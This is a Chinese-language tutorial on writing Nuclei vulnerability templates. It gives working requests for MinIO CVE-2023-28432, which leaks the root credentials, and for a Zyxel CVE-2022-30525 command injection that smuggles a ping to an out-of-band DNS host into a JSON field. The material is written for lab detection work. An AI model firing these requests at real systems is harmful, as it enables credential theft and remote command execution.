nuclei-POC编写 #
CVE介绍 #
https://docs.nuclei.sh/template-guide/introduction https://blog.csdn.net/qq_41315957/article/details/126594572 https://blog.csdn.net/qq_41315957/article/details/126594670
vulhub-启动CVE-2023-28432
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
集群启动后,访问http://your-ip:9001可以查看Web管理页面,访问http://your-ip:9000是API服务。
正常POC
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
会得到两个key
放入即可利用
下载完开启是自动开启的服务,你不使用可以手动控制关闭
手动编写httppoc #
copy一个官方的按照格式进行修改
这里修改下id 注意这个serverity等级不要乱改 改了会报错就medium high 等固定格式的进行修改
nuclei.exe -t mini.yaml -validate
id: CVE-2023-28432-minio
info:
name: starrui777
author: starrui777
severity: high
tags: cnvd,cnvd2017,emobile,ognl,fanwei
http:
- raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
matchers:
- type: word
part: body
words:
- 'MINIO_ROOT_PASSWORD'
- 'MINIO_ROOT_USER'
condition: and
基础解释:
http: 表示http请求 {{Hostname}} 表示获取你输入的IP加端口
raw 格式:完全模拟真实的 HTTP 报文,Nuclei 会原样发送请求,避免了因 YAML 语法转换可能导致的格式问题(比如 headers 缩进、特殊字符处理等)。
matchers: 表示匹配 word:返回词 包含两个 condition and表示两个都有表示漏洞验证成功否则失败
还有很多见链接 这种什么缩进啊单词啊错误一个就识别不了可以使用validata识别或者AI问下但是AI大概率不行
手动编写-DNSLOGPOC #
首先DNSlog地址可长可短
Content-Length: 165 这里就是确定不了数据包 你可以把
Connection: close
Content-Length: 165
删除 可能删除 Content-Length,服务器可能无法正确判断请求体的结束位置
它自带有dns不要直接放去
poc
id: CVE-2022-30525
info:
name: starrui777
author: starrui777
severity: high
tags: cnvd,cnvd2017,emobile,ognl,fanwei
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/json
Connection: close
Content-Length: 165
{"command": "setWanPortSt","proto": "dhcp","port": "1270","vlan_tagged": "1270","vlanid": "1270","mtu": "{{payload1}}","data":""}
payloads:
payload1:
- "; ping -c 3 {{interactsh-url}};"
matchers:
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"
这里我用nuclei 2版本可以用nuclei3不行可能语法有变动
BP插件直接生成 #
nuclei-burp-plugin-1.1.3
常规的HTTP编写 dns的不行
抓包记得修改端口
选择响应匹配词发送到插件
可以插件里面执行也可以保存下来
自己验证